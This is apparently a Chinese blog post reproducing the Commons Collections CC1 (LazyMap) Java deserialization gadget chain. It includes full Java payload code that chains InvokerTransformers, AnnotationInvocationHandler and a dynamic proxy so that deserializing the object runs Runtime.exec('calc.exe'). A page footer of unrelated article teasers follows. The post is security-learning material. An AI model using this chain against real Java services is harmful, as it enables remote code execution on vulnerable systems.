关于cc1链-lazymap版复现
关于cc1链-lazymap版复现
思路,在cc链中最重要的其实是transform方法;其反射调用执行的性质+transformchain性质,导致可以通过构造反射调用链子,也就是Runtime.exec的反射链进行命令执行;
所以关键地方在于找到transform方法;
在lazymap中的get方法中的factor调用了transform;在lazymap的构造函数中我们可以看到factor是作为key(键)值传入;且触发条件是lazymap对象中没有这个键值时调用transform方法

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]
{String.class,Class[].class},
new Object[]
{"getRuntime",new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap =LazyMap.decorate(innerMap, transformerChain);//由于不能直接调用构造函数,因此使用decorate获取其对象
outerMap.get("man");

可以看到这里执行了calc.exe

因此接下来看谁调用了哪个类调用了get方法;
有很多;这里 ysoserial开发者使用了AnnotationInvocationHandler中的invoke方法调用了get

这个memberValues是其构造函数的可控参数,这里需要另其为LazyMap对象

接下来继续找谁可以调用invoke方法;
这里开发者很巧妙地想到了动态代理机制:使用动态代理时;被代理对象的任意方法被调用时会转发到代理对象的invoke方法中;
而AnnotationInvocationHandler是一个代理类且AnnotationInvocationHandler作为动态代理的处理器;他实现了InvocationHandler接口;导致它的实例对象执行任意方法会转发到它的invoke方法中
也就是说AnnotationInvocationHandler作为处理器去被代理类的执行任意方法,会转发到它的invoke方法上;也就是说执行Lazymap的任意方法会转发到它的invoke方法中,从上文中我们可以看到AnnotationInvocationHandler的invoke中存在一些方法不会触发;因此需要一点绕过;只需要调用的方法不是
toString,hashCode,hashCode即可
payload
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]
{String.class,Class[].class},
new Object[]
{"getRuntime",new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"}),
};
Transformer transformerChain = neW ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap =(LazyMap) LazyMap.decorate(innerMap, transformerChain);
Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler ih=(InvocationHandler)constructor.newInstance(Retention.class,outerMap);
Map mapproxy=(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},ih);
mapproxy.clear();
可以看到执行了命令;

但在反序列化过程中无法进行显示调用,需要进行自动执行;
而在Lazymap和AnnotationInvocationHandler的readobject中我们看到都调用了entryset方法

也就是说执行AnnotationInvocationHandler的readobject会调用entryset
这时候我们需要让memberValues=mapproxy;
从上文可以知道memberValues是在构造函数中进行赋值,进行以下构造
此时我们的完整payload为
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]
{String.class,Class[].class},
new Object[]
{"getRuntime",new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap =(LazyMap) LazyMap.decorate(innerMap, transformerChain);//构造链子,使调用get时,触发transformerChain->transform(key)
Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler ih=(InvocationHandler)constructor.newInstance(Retention.class,outerMap);//连接invoke{memberValues->get}
Map mapproxy=(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},ih);//转发到ih的invoke
Object obj=constructor.newInstance(Target.class,mapproxy);//触发entrySet
//进行对象序列化
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
ObjectOutputStream oss=new ObjectOutputStream(outputStream);
oss.writeObject(obj);
oss.close();
System.out.println(outputStream);
//进行反序列化
ObjectInputStream objectInputStream=new ObjectInputStream(new ByteArrayInputStream(outputStream.toByteArray()));
Object object=objectInputStream.readObject();
总结一下:这个版本的cc1链使用了LazyMap的get方法进行触发,为了触发这个get方法,引入了AnnotationInvocationHandler的invoke方法;为了触发invoke,引入了动态代理;执行LazyMap的entryset方法触发invoke;为了在反序列化时自动触发;使用AnnotationInvocationHandler进代理对象进行包装,使其执行LazyMap->entryset后执行AnnotationInvocationHandler->invoke->LazyMap->get后执行 ChainedTransformer->transformerChain->ConstantTransformer(Runtime.class)->InvokerTransformer(getMethod)->InvokerTransformer(getRuntime)->InvokerTransformer(invboke)->InvokerTransformer(getMethod)-> InvokerTransformer(calc.exe)
比较直观一点的gadget写法
+------------------------+ +-------------------------+
| AnnotationInvocation | | Dynamic Proxy (Map) |
| Handler.readObject() | |-------------------------|
|-------------------------| 调用 | memberValues.entrySet() |
| memberValues (代理Map) | -----> | → 转发到InvocationHandler|
+------------------------+ +-------------------------+
| ↓
| +-------------------------+
| | InvocationHandler.invoke|
| |-------------------------|
| | LazyMap.get("entrySet") |
| +-------------------------+
| ↓
| +-------------------------+
+------------------------| ChainedTransformer链 |
|-------------------------|
| 反射调用Runtime.exec() |
+-------------------------+

手法很巧妙;相对于TransformedMap版本通过setvalue触发 checkSetValue机制;这里使用entryset触发invoke,再触发get,中间使用了动态代理作为桥梁;
使得执行entryset时会转发到AnnotationInvocationHandler的invoke中,我认为这个思路对于大部分使用invoke触发过程的链子都是适用de6
参考:
p牛的知识星球->代码审计->java系列文章;
+
https://www.cnblogs.com/leyilea/p/18426165?app_lang=zh-CN
关于cc1链-lazymap版复现的更多相关文章
- P3379 【模板】最近公共祖先(LCA)(树链剖分)版
#include <bits/stdc++.h> #define read read() #define up(i,l,r) for(register int i = (l);i < ...
- CC1链详解
前言:这篇文章是对CC1的总结,个人学习,如有不对请多指教.谢谢! 环境:jdk8u71以下,因为在该jdk版本以上这个漏洞已经被修复了 下载链接:https://www.oracle.com/cn/ ...
- [WC2010]重建计划(长链剖分版)
传送门 Description Solution 时隔多年,补上了这题的长链剖分写法 感觉比点分治要好写的多 我们假设\(pos\)是当前点的\(dfn\),它距离所在链的底端的边的数量是\(len\ ...
- YsoSerial 工具常用Payload分析之CC1
前文介绍了最简单的反序列化链URLDNS,虽然URLDNS本身不依赖第三方包且调用简单,但不能做到漏洞利用,仅能做漏洞探测,如何才能实现RCE呢,于是就有Common-collections1-7.C ...
- cc1
基础 cc接口及类介绍 Transformer接口 Defines a functor interface implemented by classes that transform one obje ...
- 【CJOJ2440】大话西游(树链剖分)
题面 Description "大话西游" 是一个在中国非常流行的在线游戏, 由 NIE 公司开发和维护. 这个游戏来源于著名的小说<西游记> 和周星弛的电影, 游戏的 ...
- PHP伪造referer突破网盘禁止外链(附115源码)
新建一个文件file.php.后面的参数就是需要伪造referfer的目标地址吧.如:file.php/http://www.xxx.xxx/xxx.mp3 复制内容到剪贴板 代码: <?$ur ...
- cve_2019_0708_bluekeep复现采坑
0X01 简介 Microsoft Windows是美国微软公司发布的视窗操作系统.远程桌面连接是微软从Windows 2000 Server开始提供的功能组件. 2019年5月14日,微软发布了月度 ...
- CommonsCollection3
CommonsCollection3 1.前置知识 CommonsCollection3其实就是cc1和cc2的组合,不用再学那么多知识了,再学习另两个生面孔类 1.1.InstantiateTran ...
- Java安全之Commons Collections3分析
Java安全之Commons Collections3分析 文章首发:Java安全之Commons Collections3分析 0x00 前言 在学习完成前面的CC1链和CC2链后,其实再来看CC3 ...
随机推荐
- Qt关于使用QSqlQuary::size()这个函数值返回是-1
QSqlQuary::size( ) 今天做项目的时候,用Qt连接Oracle数据库,前面都是连接成功,但是用SQL语句去操作数据库的时候,发现老是读不到内容,卡了好久. QSqlQuery Rule ...
- mysql - 视图的操作 创建,修改,删除,查看
只保存sql逻辑,不保存查询结果 视图可以看作是封装了多条sql语句,之后使用的时候就像普通表一样,而这个表上的字段则是创建视图时,select 后边跟的字段,支持列的别名. 创建 语法: creat ...
- 视觉SLAM十四讲——有关相机运动的汇报
视觉SLAM十四讲--有关相机运动的汇报 大概用了一个月的时间看完slam十四讲,里面很多内容算是填坑了很多以前遇到的不懂的点,并且脑海里也大致有了一个关于SLAM的框架,现在就这篇文章将其中相机运动 ...
- 新建一个空的 ASP.NET Core Web Application
前言 Visual Studio 2017 下操作 1. 新建项目 2. 新建空的 ASP.NET Core Web Application 确定后,需要一小点的时间等待依赖库载入... 3. 新建完 ...
- 高格发票勾稽之BUG
select (INVNO) AS INVCODE, SDATE ,* FROM STKSALE1 WHERE LEN(INVSCODE) > 0 AND INVSCODE = '3100000 ...
- public void add(int index, E element)的方法源码分析
public class ArrayList<E> extends AbstractList<E> implements List<E>, RandomAccess ...
- 🎀idea获取当前项目git仓库地址
简介 在idea中快速获取当前项目的远程仓库地址 方案一 右键项目 选择Git 选择Manage Remotes 弹框中的URL就是远程仓库地址 方案二 打开terminal 命令行 直接Git命令查 ...
- python调用QQ机器人向指定QQ发消息
暂时没想到这个能用来干什么,只是刚好看到相关文章,学习一下,就拿获取基金信息来做试验把 爬取基金的信息就不介绍了,请参考https://www.cnblogs.com/becks/p/14500495 ...
- kettle介绍-Step之加密及解密
加密 进入kettle的安装目录 cd /d D:\Application\pdi-ce-6.0.0.0-353\data-integration windows系统命令行执行:Encr.bat -k ...
- React AntD的Dropdown组件报错:React.Children.only expected to receive a single React element child.可能的n原因
React.Children.only expected to receive a single React element child. Error: React.Children.only exp ...